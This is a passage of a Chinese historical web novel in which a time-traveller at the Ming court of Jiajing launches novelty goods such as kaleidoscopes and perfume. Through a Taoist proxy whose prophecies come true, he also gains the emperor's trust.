但内嵌以硬木削制、油脂浸润的滚珠,外嵌铁环相套,竟也转动灵活、阻力大减。
在这大明天下,如此制法虽显粗朴,
却已是工巧之极,远胜于当时常用的木轴直磨,推挽之间,轻捷省力,令人称奇。
这看似不起眼的改进,一旦铺开,对京城物流的影响将是巨大的。
苏惟瑾满意地呷了口茶。
经济基础决定上层建筑,
这些看似微末的产业,积累的不仅是财富,更是无形的人脉和影响力。
“对了,瑾哥儿,”
苏惟山压低声音。
“鹤岑道长那边递出消息,
说陛下近日沉迷那《寰宇修仙志》,
正琢磨如何练气筑基呢。
他按公子吩咐,只说天机不可轻泄,需待机缘。
另外,他准备在祭灶前后,在西苑搞一次‘星象占卜’,
预言开春后第一场瑞雪的具体时辰,您看……”
苏惟瑾眼中精光一闪。
时机抓得不错。
预言雪时,无关朝政大局,不会触动各方神经,
但若应验,却是实打实的“神异”,最能巩固嘉靖对其的信任。
“告诉他,放手去做。
数据我早已给他,只要那几日天气不大变,误差不会超过一个时辰。”
苏惟瑾沉吟道。
“另外,让他可以‘无意间’向陛下
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提及,
就说夜观星象,见东南有宝气隐现,
与‘巧工’、‘奇物’相关,或主祥瑞。”
苏惟山听得一愣:“瑾哥儿,这是何意?”
苏惟瑾微微一笑:
“给咱们上元节要推出的东西,提前造造势。
陛下若感兴趣,届时鹤岑便可‘顺势’推荐,说是天降祥瑞,巧夺天工之物。”
苏惟山恍然大悟,佩服得五体投地:
“公子神机妙算!
这下咱们的东西,岂不是等于被开了光?”
“低调,低调。”
苏惟瑾摆摆手,嘴角却噙着笑意。
正说着,苏婉像只快乐的燕子般飞了进来,
手里还拿着一个万花筒,叽叽喳喳:
“哥!芸娘嫂嫂做的这个太好玩了!
我拿去给王姐姐看,她喜欢得不得了,
非要问我哪儿来的,我说是咱们家自己做的,她还不信呢!”
苏惟瑾看着她红扑扑的小脸,心情愈发愉悦。
王雪茹那个直性子,由她之口传出去,效果恐怕比刻意宣传还好。
然而,就在这一片向好之际,苏府门外,
一个穿着体面、像是某家管事模样的人,
却在街角探头探脑,目光时不时地瞟向苏府门楣,
尤其是那些进出的、推着新奇板车的伙计。
“去,查查这苏府最近在搞什么名堂?
那些两个轮子的车,还有他家女眷最近和‘云裳阁’走得那么近,所谓何事?”
不远处的一顶软轿里,一个阴鸷的声音低声吩咐道。
轿帘微晃,隐约可见一张属于中年文士的侧脸,眼神锐利,带着审视与算计。
树欲静而风不止。
苏惟瑾这艘刚刚起航的小船,
在搅动京城这潭深水的同时,
也不可避免地引起了水下潜流的注意。
上元节将至,他准备的火树银花固然绚丽,
但能否照亮的,恐怕不只是节日的夜空,
还有隐藏在繁华背后的暗礁与漩涡。
芸娘握着那瓶初成的梅花香水,心中既期待又忐忑。
这小小的琉璃瓶,真的能在上元之夜,掀起夫君所言的“风潮”吗?
而西苑之中,鹤岑道人正对着星图,默默推演着雪时,额角微微见汗。
这场“神迹”表演,只许成功,不能失败。
第228章 星象示边警,片语定乾坤
腊月二十三,祭灶。
京城里家家户户焚香送灶神,空气里弥漫着糖瓜和香火的味道。
西苑钦安殿内,却是另一番肃穆景象。
夜色如墨,繁星点点。
殿前汉白玉广场上,早已按鹤岑要求设下法坛。
香案、烛台、星图、罗盘一应俱全,
四周还插着按照某种玄奥方位布置的二十八宿旗幡,在凛冽的夜风中猎猎作响。
嘉靖帝披着一件玄狐大氅,
坐在临时设下的暖帐里,
面前摆着炭盆,
目光灼灼地盯着法坛中央那个身着八卦道袍、手持拂尘的身影。
黄锦等几个贴身太监侍立左右,大气不敢出。
连一向与鹤岑不太对付的邵元节,
也被特许在一旁观礼,
只是那脸色在跳动的烛火下,显得阴晴不定。
鹤岑道人屏息凝神,仰望星空。
寒风拂动他的长须道袍,确有几分飘然出尘之态。
他心中默念着苏惟瑾通过密信传来的“观测要点”和“台词”,这些数据给了他足够的底气。
只见他时而手指星空,掐算不休;
时而俯察罗盘,眉头紧锁;
时而又在星图上点点画画,口中念念有词。
整个过程持续了近半个时辰,
在场众人皆被这凝重的气氛所感染,
连嘉靖都不自觉地坐直了身体。
终于,鹤岑长吁一口气,转过身来,
面向暖帐,躬身一礼,声音带着一丝疲惫却异常清晰:
“陛下,贫道已窥得一丝天机。”
“快讲!”
嘉靖迫不及待。
“贫道观北方水汽氤氲,与金星交辉,
三日后,也就是腊月二十六日酉时三刻,
京师当降今冬第一场瑞雪,持续时间约两个时辰,积雪可没马蹄。”
鹤岑语气笃定,给出了一个极其精确的预言。
预言雪时?
嘉靖微微一怔,这与他期待的“长生大道”似乎有些距离,
但若能精准预言天时,亦是了不得的本事。
他看了一眼旁边的钦天监官员,
那官员连忙低头,不敢与皇帝目光接触
——他们可没这个本事预言得如此精确。
“好!朕便拭目以待!”
嘉靖压下心中疑虑,点了点头。
鹤岑话锋一转,神色陡然变得凝重起来,声音也低沉了几分:
“然则,贫道于观星途中,见紫微帝星之畔,
有赤色客星犯边,其光锐而不久,直指西方奎、娄二宿分野!”
暖帐内的气氛瞬间绷紧!
邵元节眼皮猛地一跳。
客星犯紫微?
还指向西方奎、娄分野?
那可是对应着甘肃镇一带啊!
这是兵凶之兆!
嘉靖的脸色也沉了下来:
“道长此言何意?细细说来!”
鹤岑深吸一口气,俨然似在承受着巨大的天机压力,缓缓道:
“陛下,此星象主西陲边塞,恐有刀兵之兴!
有跳梁小丑,不自量力,欲犯我大明疆界!”
“何时?何地?规模如何?”
嘉靖连声追问,身体前倾,帝王的威压不自觉地散发出来。
“天机混沌,难以尽观。”
鹤岑适时地表现出“力有未逮”的艰难,
“然则,依星象所示,兵祸当起于正月之内,地点应在甘肃镇周边。
其势如野火,来得快,去得也快。
只因帝星稳坐中天,光华万丈,而彼处将星虽暂晦,却有勃发之机!
此预示,犯边之敌不过疥癣之疾,
旬月之内,必被我大明王师以雷霆之势,摧枯拉朽般击溃,绝难成气候!
陛下无需过分忧心,此乃大明国运昌隆,宵小自取灭亡之象也!”
他这番话,说得极有技巧。
时间(正月)、地点(甘肃镇)、结果(快速击溃)都点到了,
但又留有模糊空间(“周边”、“旬月之内”)。
更重要的是,他强调了“帝星稳坐”、“国运昌隆”、“宵小自取灭亡”,
极大地迎合了嘉靖的虚荣心和维稳需求。
既示了警,又拍了马屁,还展现了“有限”的预知能力,可谓一箭三雕。
嘉靖帝听完,沉吟不语,手指无意识地在膝盖上轻轻敲击。
他内心深处对长生不老的渴望,与作为帝王对江山社稷的责任感在交织。
鹤岑之前的“神异”表现(仙法、仙书),
尤其是对雪时的精准预言(待验证),让他不敢完全忽视这个警告。
但若因此兴师动众,又恐小题大做,劳民伤财。
邵元节在一旁看得心急,忍不住出言道:
“陛下,星象之说,虚无缥缈,未可尽信。
边关军务,自有督抚总兵料理,岂可因一江湖术士之言而妄动?”
他特意加重了“江湖术士”四字,意图打压鹤岑。
鹤岑却是不慌不忙,对着邵元节微微一揖:
“邵**所言极是。
贫道亦言,此乃疥癣之疾,陛下洪福齐天,王师威武,必能顷刻荡平。
贫道只是据实回禀所见星象,具体如何决断,自有陛下圣心独运。”
他把自己撇得干干净净,只负责提供“情报”,决策权完全交给皇帝。
这番以退为进,反而更显“高风亮节”和“忠于王事”。
嘉靖瞥了邵元节一眼,心中有些不悦。
这老道,近来是越发沉不住气了。
“好了。”
嘉靖终于开口,声音恢复了平静。
“鹤岑道长忠心可嘉,洞察天机,朕心甚慰。
边关之事,朕自有分寸。”
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>他转向黄锦:
“传旨兵部,令其行文甘肃镇及各边卫,
近期加强戒备,留意蒙古鞑靼部动向,一有异动,即刻六百里加急奏报!”
他没有完全采信鹤岑的“正月动兵”之说,但加强戒备总是没错的。
这道命令,既显示了他对潜在威胁的重视,
也维持了朝廷体面,更给了鹤岑一个台阶——若无事,便是防患于未然;
若有事,则显陛下圣明,道长神异。
“陛下圣明!”
鹤岑躬身领旨,心中一块大石落地。第一步,成了!
邵元节脸色更加难看,却不敢再多言。
三日后,腊月二十六。
酉时刚过,天色阴沉下来,到了酉时三刻,
果然淅淅沥沥飘起了雪花,起初是雪籽,继而变成鹅毛般的大雪,
足足下了近两个时辰,地上积雪果然没过了马蹄。
钦安殿内,嘉靖帝看着窗外银装素裹的世界,听着黄锦激动的禀报:
“皇爷!神了!鹤岑道长真是神了!时辰、雪量,分毫不差!”
嘉靖眼中异彩连连,对鹤岑的信任度瞬间飙升到一个新的高度。
连天时都能精准预言,那关于边关的预警……
他立刻再次下旨,催促兵部加紧关注甘肃方向军情。
消息如同长了翅膀,迅速在京城高层小范围传开。
苏惟瑾在翰林院值房听到周大山悄悄传来的消息时,
只是微微一笑,继续低头校勘他的书稿。
一切,都在按计划进行。
然而,兵部衙门里,几位堂官接到这接二连三、缘由古怪的谕旨,却是面面相觑,哭笑不得。
“加强戒备?留意动向?
这没头没脑的……陛下这是听了何人所言?”
一个侍郎捻着胡须,一脸困惑。
“听说是西苑新来的那个鹤岑道人,观星所得……”
另一个郎中低声道。
“胡闹!”
一位老成持重的员外郎忍不住拍了下桌子。
“边关军国大事,岂能凭方士一言而决?
这要是传出去,岂不成了笑话!”
“慎言!”
主官连忙制止,叹了口气。
“陛下旨意已下,照办吧。
但愿……只是虚惊一场。”
他们并不知道,此刻的甘肃镇外,
几个蒙古部落的骑兵,已经如同嗅到血腥味的饿狼,
开始在边境线附近游弋,马刀在寒冷的朔风中,反射着幽幽的光芒。
鹤岑的预言,如同一颗投入平静湖面的石子,涟漪正在扩散。
而这场即将到来的“疥癣之疾”,
究竟会掀起多大的风浪,
又会将哪些人卷入其中?
苏惟瑾放下笔,目光似乎穿透了重重的宫墙和千里的关山。
棋子已落,静待回响。
第229章 万象镜炫目,奇巧动京华
嘉靖四年的正月十五,上元佳节。
这日子自汉代便有了雏形,
到了大唐更是鼎盛,而传至朱明,
早已成为渗入骨髓的盛世狂欢。
依着祖制,自正月十一日起,
朝廷便赐假十日,官署封印,学堂散馆,直闹到二十日方止。
这便是有名的“放灯假”。
而十五正日,更是重中之重。
按《大明会典》,这一日京城解除宵禁,谓之“金吾不禁”。
各衙门都要出资扎造巨型鳌山灯棚,
勋贵官宦、富商巨贾乃至平民百姓,也纷纷悬灯结彩,争奇斗艳。
前门大街、棋盘街、灯市口一带,更是火树银花,亮如白昼。
天色未暗,京城已是万人空巷。
士女倾城而出,摩肩接踵,所谓“灯光霭霭,人影憧憧”。
小贩们吆喝着糖葫芦、吹糖人、卖面具的声浪此起彼伏。
杂耍百戏,舞龙弄狮,将整个京城烘托成一个沸腾的、巨大的欢乐场。
在这片喧嚣的灯海中,
棋盘街东首,“云裳阁”名下新打理出的一个临街铺面,
此刻却显得有些与众不同。
铺子门面不算最大,却装饰得清雅别致,檐下挂着一排精巧的琉璃灯,映得门前一片通明。
而最引人注目的,却是铺子外临时搭起的几个小巧展台。
每个展台上,都固定着一个约一尺长、碗口粗细的硬纸筒,
纸筒外裱着喜庆的红色洒金笺,一端开着个小孔。
几个衣着干净利落的伙计,正笑容可掬地招呼着过往行人。
“诸位客官,走过路过,莫要错过!
来瞧瞧这‘万象镜’,窥一孔而知大千世界之变幻玄妙!”
“小公子,小姐,来看看嘛,里面有神仙住的花园哩!”
起初,人们只是好奇观望,不知这纸筒有何奥妙。
直到一个被母亲牵着的小男孩,
经不住伙计怂恿,怯生生地将眼睛凑到小孔上。
“呀!”
小男孩猛地抬起头,满脸的不可思议,
随即又迫不及待地再次凑上去,小手激动地拍打着母亲的胳膊。
“娘!娘!里面好多花花!
转一下变一下,五颜六色的,真好看!”
他这一惊一乍,顿时吸引了更多目光。
又有几个胆大的孩童和几个戴着帷帽、衣着不俗的闺秀,
在丫鬟的簇拥下,半推半就地走上前尝试。
“哎呀!”
“天爷!这是如何做到的?”
“妙极!妙极!这里面莫非真藏了个小世界不成?”
惊呼声、赞叹声此起彼伏。
透过那小小的孔洞,
内部几片彩色琉璃碎片经过镜面多次反射,
形成无穷无尽、对称变幻的璀璨图案,
这种纯粹视觉上的奇幻体验,
对于见惯了传统花灯、杂耍的明朝人来说,冲击力是前所未有的。
人群立刻围拢过来,争相体验,将几个展台挤得水泄不通。
伙计们不得不大声维持秩序:
“诸位!诸位!
稍安勿躁,排好队,人人皆可一观!
此乃我家东主好友,翰林院苏状元苏大人,
闲暇时琢磨出的巧物,
名曰‘万象镜’,非是凡品,还请大家爱惜!”
“苏状元?可是那位连中三元的苏惟瑾苏大人?”
“正是!除了他,还有谁能有这般巧思?”
“原来是状元公的手笔!怪不得如此精妙!”
苏惟瑾的名头此刻便是一块金字招牌。
连中三元、简在帝心,本就带着传奇色彩,
如今竟还能造出如此匪夷所思的“奇物”,
众人惊叹之余,更觉这位状元公深不可测,才华横溢已不止于文章经义。
“这‘万象镜’卖不卖?”
一位看着像是富商管家模样的人急忙问道。
伙计笑着拱手:
“对不住您嘞,此乃非卖品,仅供诸位赏玩。
不过,我家铺子里,倒有苏大人指点制成的‘凝香烛’,火光稳定不带烟,还有清雅花香;
另有极难得的‘苏香’露,香气精纯持久,数量有限,欲购从速。”
人群的注意力立刻又被引向了铺内。
只见柜台之上,几支造型别致的蜡烛燃着,
果然不见寻常烛火的摇曳黑烟,
反而散发出清幽的梅兰之气。
旁边琉璃柜中,那几个小巧瓶子更是引人瞩目。
这下,不仅是为了看热闹,
许多家境殷实之人,尤其是那些闺阁小姐、贵妇人,立刻动了心思。
能跟状元公的“奇思妙想”沾上边,
本身就是一种风雅和身份的象征。
“给我来两支凝香烛!”
“那‘苏香’露,每种香型给我留一瓶!”
场
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面一时间竟有些火爆。
不远处,一辆不起眼的青布小车里,
苏惟瑾微微撩起车帘一角,
看着“云裳阁”门前火爆的景象,嘴角微扬。
芸娘坐在他身旁,紧张地攥着帕子,
看到众人对“万花筒”(她心里还是习惯叫这个)和香烛的热情,
脸上才露出如释重负的欣喜。
“夫君,他们……他们真喜欢。”
“嗯,喜欢就好。”
苏惟瑾放下车帘,靠在软垫上。
超频大脑早已模拟过这场景,现实与推演基本吻合。
这只是开始,口碑发酵之后,带来的利益和名声将会是持续的。
而在对面茶楼的二楼雅间,赵文萱正陪着一众官家小姐赏灯。
她也看到了“云裳阁”前的盛况,听到了人群中不断传来的“苏状元”三字。
她握着茶杯的手指微微收紧,
目光复杂地掠过那辆青布小车,
最终落在窗外绚烂的灯河上,不知在想些什么。
更远处,王雪茹一身火红骑装,骑在马上,
远远瞧了一眼那热闹,撇撇嘴:
“花里胡哨!”
一抖缰绳,便冲向了更喧闹的舞龙队伍,
只是临走前,还是忍不住回头又瞥了一眼。
沈香君则在铺子后堂,
听着前面掌柜兴奋的禀报,
拨算盘的手指都快了几分,眼中异彩连连。
这位苏状元,不仅才学好,这“点石成金”的本事,更是了得!
这步棋,怕是又走对了。
谁也没有注意到,人群中,一个不起眼的小太监,
也好奇地挤过去看了看那“万象镜”,
啧啧称奇了一番,随即悄然离开,快步向西苑方向而去。
苏惟瑾这个名字,
伴随着“万象镜”的奇幻、“凝香烛”的清雅、“苏香”露的精贵,
在这个上元之夜,以一种意想不到的方式,
再次深刻烙印在京城的**场中。
才华横溢,涉猎广泛,奇思妙想层出不穷
——他精心营造的人设,正变得越来越立体,越来越深入人心。
苏惟瑾收回望向西北方向的目光,轻轻叩了叩车厢:“大山,回去吧。”
马车缓缓启动,汇入流光溢彩的人潮车流。
属于他的光,今夜已然点亮,下一步,就该照向那更深远、也更暗流汹涌的地方了。
第230章 暗香浮京华,金流悄涌动
上元灯会的喧嚣如潮水般退去,京城似乎又恢复了往日的秩序。
然而,一些微妙的变化,却如同春雨润物,在看似平静的水面下悄然发生。
那夜在“云裳阁”前惊鸿一瞥的“万象镜”(万花筒),
虽引得阵阵惊呼,终究被大多数人视为状元公闲暇弄巧的“奇技淫巧”,热议几日便也淡了。
真正在特定圈层里掀起波澜、并且余韵愈演愈烈的,
是那看似不起眼的“凝香烛”,
以及那数量极少、却堪称石破天惊的“苏香”露。
英国公府的花厅内,几位身份矜贵的夫人正围坐品茗。
今日做东的是英国公夫人张氏,她素来喜好风雅,府中陈设用具无一不精。
此刻,厅内烛火通明,却不见寻常烛火那股子呛人的烟火气,
反而弥漫着一股清冽悠远的腊梅冷香,闻之令人心旷神怡。
“张姐姐,您府上这烛火倒是别致,
光色亮堂不说,竟还有如此雅致的梅香?
莫不是新得了什么海外奇珍?”
一位穿着绛紫缠枝莲纹褙子的夫人好奇问道,她是吏部左侍郎的夫人王氏。
英国公夫人张氏微微一笑,
带着几分不易察觉的得意,
用银簪轻轻拨弄了一下那支造型简洁、却燃烧得异常稳定的白色蜡烛:
“王妹妹好眼力。
倒不是什么海外奇珍,
是前几日在‘云裳阁’偶然购得,名曰‘凝香烛’。
说是采用了古法,又经高人指点改良,
故而燃烧无烟,且融了名花精髓,香气自然持久。”
“哦?‘云裳阁’?可是那位沈香君娘子的铺子?”
另一位夫人插嘴道。
“她家东西是精巧,价格也不菲。
这凝香烛,想必也不便宜吧?”
“价钱嘛,确是比寻常蜡烛贵上数倍。”
张夫人端起茶盏,轻呷一口。
“不过,一分钱一分货。
点上这么一支,满室生香,连熏香都省了。
尤其夜里点在寝居,安神助眠,
第二日醒来,被褥间都还留着淡淡余韵,着实难得。”
她这话半是炫耀,半是实情。
这凝香烛燃烧稳定,光线柔和,
加上提纯过的植物精油香气,
体验感确实远超这个时代的照明和熏香方式。
几位夫人闻言,顿时心动。
到了她们这个地位,金银反在其次,
这份独特的风雅、这提升生活品质的细节,才是她们真正追求的。
当下便有好几人暗暗记下,准备回头就派人去“云裳阁”问询。
而这,仅仅是“凝香烛”风靡的开端。
真正在顶级贵妇圈层引发轰动的,
是那数量极为稀少、被沈香君严格控制流出节奏的“苏香”露。
这一日,几位交好的翰林院编修、御史的夫人小聚。
席间,一位素以品味挑剔著称的刘御史夫人,
从袖中取出一个不及巴掌大的小巧琉璃瓶,瓶身线条流畅,内里液体澄澈。
她小心翼翼地拔开软木塞,并未直接喷洒,只用手轻轻在瓶口扇了扇。
一股极其凝聚、清幽脱俗的兰花香便如丝如缕地弥漫开来。
这香气不像寻常香粉那般浮夸浓艳,
也不像香油那般油腻,
它仿佛有生命一般,
轻盈地萦绕在鼻端,层次分明,
前调清甜,中调幽远,后调沉稳,久久不散。
“呀!这是何物?香气竟如此特别!”
众人皆惊。
刘夫人矜持地笑了笑:
“此乃‘苏香’露,据说是采集晨露初凝时的兰花花魂,辅以秘法炼制而成,极其难得。
我也是托了关系,才从沈东家那里匀得了这么一小瓶。”
她刻意隐去了“苏状元”的名头,只以“秘法”代之,更添神秘。
“这香气……闻之忘俗!比宫里赏下来的花露还要精纯数倍!”
“刘姐姐,可能分我些许?哪怕一滴也好,让我沾沾这仙气!”
“这‘云裳阁’在何处?我明日便去!”
一时间,几位平日里端庄持重的夫人,竟为这一小瓶香水失了淡定。
刘夫人自然不肯割爱,只推说数量极少,早已售罄,更是吊足了众人胃口。
消息如同长了翅膀,迅速在顶级官宦人家的后宅飞传。
“苏香”露之名不胫而走,成为闺阁中最新、也最炙手可渴的谈资和奢求。
物以稀为贵,越是难得,越是引人追逐。
私下里,已有人开出远超“云裳阁”标价数倍,
甚至十数倍的高价,只求能购得一瓶。
沈香君深谙此道,严格控制着流出量,
每次只放出寥寥几瓶,
还往往需要“预定”或“搭售”其他商品,将饥饿营销玩到了极致。
“苏香”露不仅成了身份的象征,更成了一种硬通货般的
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存在。
苏府后宅那间小小的工作坊内,
芸娘看着桌上寥寥无几的成品琉璃瓶,既感欣喜,又压力巨大。
她知道,这每一瓶流出去,都代表着沉甸甸的银钱和夫君日益增长的影响力。
她带着两个绝对忠心的丫鬟(原是周大山找来的孤女,身契牢牢握在苏家),
日夜小心试验,努力提高那低得可怜的出露率。
“夫人,沈东家又派人来催问了,说几位国公夫人都等着呢。”
丫鬟秋月小声禀报。
芸娘揉了揉发酸的腕子,轻叹一声:
“告诉她,最快也要后日才能再得五瓶。香料难得,工序繁复,急不来的。”
她如今也渐渐明白,这东西并非做得越多越好。
保持稀缺,才能维持其高高在上的地位。
这是夫君教她的道理。
前院书房,苏惟瑾听着苏惟山报来的账目和外面的风声,神色平静。
超频大脑迅速计算着投入产出比和潜在风险。
“告诉沈香君,稳住。
价格可以适当再提一提,放出风声,
下一批会有新的‘雪中春信’梅花香型,数量依旧不超过十瓶。”
“是,瑾哥儿。”
“作坊的安全要确保万无一失。
让大山再调两个可靠的人手,明面上是杂役,
暗地里给我盯紧了,任何可疑之人靠近,立刻报我。”
“明白!”
苏惟瑾很清楚,这“苏香”露带来的不仅仅是滚滚财源,更是一张无形的关系网。
那些手握权柄的贵妇们,为了这心头好,
自然会高看沈香君一眼,连带着也会对背后的他多几分“好奇”与“好感”。
这在关键时刻,或许就能起到意想不到的作用。
他的商业版图,终于迈出了坚实而华丽的第一步。
然而,就在这暗香浮动、金流悄涌的时刻,
一辆来自西北方向的、带着风尘和血腥气的驿马,
正嘶鸣着冲过永定门,踏碎了京城的宁静清晨。
马蹄声急,直扑兵部衙门而去。
鹤岑道人的预言,苏惟瑾布下的另一枚暗棋,似乎到了即将揭晓的时刻。
苏惟瑾推开窗,望向西北方阴沉的天际,眼神深邃。
香水的风靡只是开胃小菜,真正的风波,恐怕要来了。
他这艘刚刚借着香风起航的船,
能否在即将到来的**风浪中,稳坐钓鱼台?
第231章 星预言应验,帝心撼九霄
正月末的北京城,寒意未消。
铅灰色的天幕低垂,压着紫禁城的琉璃瓦,也压在朝堂诸公的心头。
前几日上元灯会的余兴早已散尽,
连“苏香”露在贵妇圈引发的暗涌,
在这沉闷的政事氛围里,也显得微不足道起来。
这日清晨,一骑快马,背插赤色翎羽,
带着西北特有的风沙与血腥气,
汇聚成劈开阴霾的利箭,自永定门疾驰而入。
马蹄声碎,踏在青石板上,发出夺人心魄的急响,沿途百姓商贩纷纷惊避。
“八百里加急!甘肃镇军报!”
马上骑士嘴唇干裂,甲胄染尘,嘶哑的吼声穿透寒冷的空气,直扑皇城。
那股子亡命奔波的煞气,让守门的京营兵卒都心头一凛,不敢稍加阻拦。
消息似如投入滚油的冷水,瞬间在京城各个衙门炸开。
兵部衙门首当其冲。
当值的郎中、主事们听到驿马嘶鸣,早已蜂拥而出。
尚书金献民一把夺过那染血的军报塘匣,
验看火漆封印无误,手指竟微微有些颤抖。
近日朝中因“大礼议”余波及各项政务,气氛诡谲,任何边镇消息都牵动着无数人的神经。
他深吸一口气,当众开启塘匣,取出军文,迅速浏览。
下一刻,金尚书脸上的凝重化为了难以置信的惊愕,
随即,一抹狂喜涌了上来,他猛地抬头,声音因激动而拔高:
“捷报!甘肃镇大捷!”
“总兵官姜奭奏:正月十六,蒙古卜儿孩部万余骑寇边,猛攻甘州后卫!
我军依险设伏,以逸待劳,激战半日,阵斩虏首一百七十三级,缴获战马、器械无算!
虏酋败走,已逐出边墙!”
静,死一般的寂静。
随即,便是轰然的议论声。
“赢了?竟然赢了?”
“还是大捷!阵斩百余级,这可是近年少有的大胜!”
“怪哉,往年此时,边镇多是闭城自守,此次竟能主动设伏,斩获如此之多?”
狂喜与疑惑交织。
唯有几个知悉内情、或参与过年前那场西苑经筵的重臣,如费宏、石珤等人,
心头猛地划过一道闪电,不约而同地想起了一个人,一句话!
几乎是同时,西苑永寿宫内。
嘉靖帝朱厚熜刚做完早课,正与近侍黄锦议论着昨日礼部呈上来的祭祀仪注。
少年天子眉宇间带着一丝倦怠,
近日朝中为了些琐事争执不休,让他颇感心烦。
突然,殿外传来一阵急促却不失规矩的脚步声,
司礼监掌印太监鲍忠几乎是捧着那份军报,
小跑着进来,脸上是压抑不住的激动与惶恐:
“皇爷!皇爷!甘肃镇八百里加急捷报!大捷啊皇爷!”
嘉靖帝眉头一皱,接过军报,迅速扫过。
起初是随意,旋即目光一凝,呼吸都为之屏住。
他反复看了两遍,确认那“正月十六”、“卜儿孩部”、“阵斩百余级”等字眼无误,猛地从御座上站了起来!
“正月十六……卜儿孩……斩首百余……”
他喃喃自语,眼中爆发出骇人的精光,猛地看向鲍忠。
“鲍大伴,你可还记得……记得去岁腊月,鹤岑**于西苑……所言?”
鲍忠也是人精,立刻“恍然大悟”,
扑通一声跪倒在地,声音带着恰到好处的颤抖:
“奴婢记得!
奴婢记得清清楚楚!
鹤岑**当时便言道,
‘贫道夜观天象,见西北煞气冲犯紫垣,恐有刀兵之灾,应在今岁正月,蒙古西海一部将寇甘凉’!
他还说……还说‘陛下乃真命天子,自有神明护佑,边关将士用命,可获小捷’!
皇爷,这……这时间、地点、虏酋名号、乃至战果……分毫不差!
分毫不差啊!”
“啪!”
嘉靖帝一掌拍在御案上,震得笔架乱晃。
他脸上再无半分倦怠,取而代之的是一种混合着狂喜、敬畏与掌控感的潮红。
“神人!真乃神人也!”
他声音高昂,在大殿中回荡。
“鹤岑**,未卜先知,言无不中!
此非国之祥瑞,何为祥瑞?!”
他兴奋地踱起步子,
“快!拟旨!不,鲍忠,你亲自去!
厚赏鹤岑**……不,加封他为‘通玄翊化**’,赐金冠、法衣、玉圭!
另赏黄金五百两,蜀锦百匹!
让他好生在京修行,为朕,为大明朝祈福!”
“奴婢遵旨!”
鲍忠磕头,连忙起身去办。
消息如同长了翅膀,飞遍朝野。
预言应验了!
那个被不少清流私下讥讽为“妖道”的鹤岑,竟真的精准预言了一场边疆战事!
连时间、对手、结果都说得大差不离!
这已非简单的“料事如神”,简直是窥测天机!
一时间,鹤岑道人在无数官员和百姓心中,
地位瞬间从“幸进方士”飙升到了“陆地神仙”的高度。
先前那些**他“蛊惑圣心”的奏章,此刻显得如此苍白可笑。
不少官员开始暗中打听鹤岑的喜好,琢磨着如何搭上这条“通天捷径”。
而与永寿宫的狂喜、朝野的震动形成鲜明对比的,
是城南那座不起眼的道观,以及城西那座新赐的苏府。
道观内,鹤岑接到圣旨和赏赐,
脸上并无多少得色,反而对着前来宣旨的鲍忠深深一揖,语气平和淡然:
“贫道山野之人,偶得天机,实乃陛下诚心感动上苍,故降下警示。
此非贫道之功,乃陛下之德,边关将士之勇。
厚赏,受之有愧。”
他这般宠辱不惊、将功劳归于皇帝和将士的态度,更让鲍忠高看一眼,回去在嘉靖帝面前自然又是一番添油加醋的夸赞。
苏府书房内,炭火烧得正旺。
周大山压低声音,难掩兴奋地将外面沸沸扬扬的消息,以及皇帝对鹤岑的厚赏,一一禀报给书案后的苏惟瑾。
“公子,成了!全让您料中了!
现在满京城都在传鹤岑**是活神仙!
咱们这一步棋,真是神了!”
周大山搓着手,脸上放光。
苏惟瑾放下手中的书卷,脸上却不见多少喜色,反而微微蹙眉。
他走到窗前,看着庭院中尚未融尽的残雪,目光深邃。
“大山,”
他声音低沉,带着一丝不容置疑的严厉。
“你立刻去找鹤岑,告诉他,务必给我记住四个字——‘得意忘形’乃取死之道!
陛下如今信他,是因为他‘有用’且‘无害’。
若他因此生出骄矜之心,或是被捧得忘了自己是谁,四处招摇,结交官员……那离死期也就不远了。
让他继续闭门谢客,潜心‘修道’,
对任何赏赐都表现得淡泊一些,
尤其不能与邵元节、陶仲文等人发生正面冲突。”
周大山心中一凛,脸上的兴奋迅速褪去,肃然道:
“是,公子!我明白,这就去办!”
苏惟瑾点点
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头,补充道:
“还有,让我们的人都机灵点,
最近所有与鹤岑那边的联系,必须更加隐秘。
东厂和锦衣卫的眼睛,此刻恐怕正盯着那里呢。”
“公子放心,绝无痕迹可查。”
周大山匆匆离去。
苏惟瑾独自站在窗前,超频大脑冷静地分析着眼前的局面。
预言应验,鹤岑地位稳固,这是他布局的重要一环。
这一切都在他的算计和掌控之中。
利用后世知识(对历史事件的模糊记忆结合蒙古各部寇边的规律性分析),
包装成“天机”,通过鹤岑这个白手套传递给皇帝,
既解决了边患预警的难题,
又不动声色地为自己在皇帝身边埋下了一颗关键的钉子。
这种幕后执棋、搅动风云的感觉,远比台面上的风光更令人心潮澎湃。
然而,危机也随之而来。
鹤岑越是得宠,觊觎和敌视的目光就越多。
首当其冲的,便是以邵元节为首的原有的御用道士集团。
此刻,邵元节府邸内。
一身道袍的邵**,面色阴沉得能滴出水来。
他面前桌上,摆放着宫中刚赐下的、本应属于他的几样贡品药材,如今却被皇帝转赐给了鹤岑。
一旁的心腹道士大气不敢出。
“好个鹤岑……好个西北预言!”
邵元节从牙缝里挤出几个字,手指紧紧攥着拂尘玉柄,指节发白。
“哪来的野道,也敢踩着我邵元节上位!”
他修道多年,深谙帝心,深知这种“精准预言”对皇帝的冲击力有多大。
相比之下,他那些祈雨、炼丹的本事,顿时显得有些“平常”了。
皇帝的恩宠就那么多,有人多得一分,自然就有人少得一分。
“**,听闻那鹤岑深居简出,对赏赐也颇为淡泊,不好抓把柄啊。”
心腹低声道。
“淡泊?”
邵元节冷笑一声,眼中寒光闪烁。
“装模作样!
他越是如此,越是所图甚大!
派人给我盯紧了!
还有,去查!
查他的来历,查他入京后接触过什么人!
我就不信,他真是石头缝里蹦出来的!”
他深吸一口气,压下心中翻涌的嫉恨。
必须尽快想办法,要么将这鹤岑拉下马,要么……让他为自己所用。
与此同时,锦衣卫指挥使陆炳,
也将一份关于鹤岑近况的密报,
轻轻放在了嘉靖帝的案头。
上面详细记录了鹤岑接旨后的淡然反应,以及他闭门谢客、潜心修道的举动。
嘉靖帝看完,满意地点点头,
对比着另一份密报里邵元节府中隐隐传出的怨怼之气,
对鹤岑的欣赏和信赖,不禁又多了几分。
“鹤岑,乃真修道士也。”
皇帝如是评价。
苏惟瑾的警告,鹤岑的谨慎,恰好迎合了皇帝此刻的圣心。
然而,苏惟瑾很清楚,
邵元节乃至其背后可能存在的朝中势力(如与邵元节交好的郭勋等人),绝不会善罢甘休。
边关捷报和预言应验带来的红利需要时间消化,而新的风暴,或许已在暗中凝聚。
他转身回到书案前,铺开一张宣纸,提笔蘸墨。
“大风起于青萍之末……”
他轻声自语,笔尖落下,
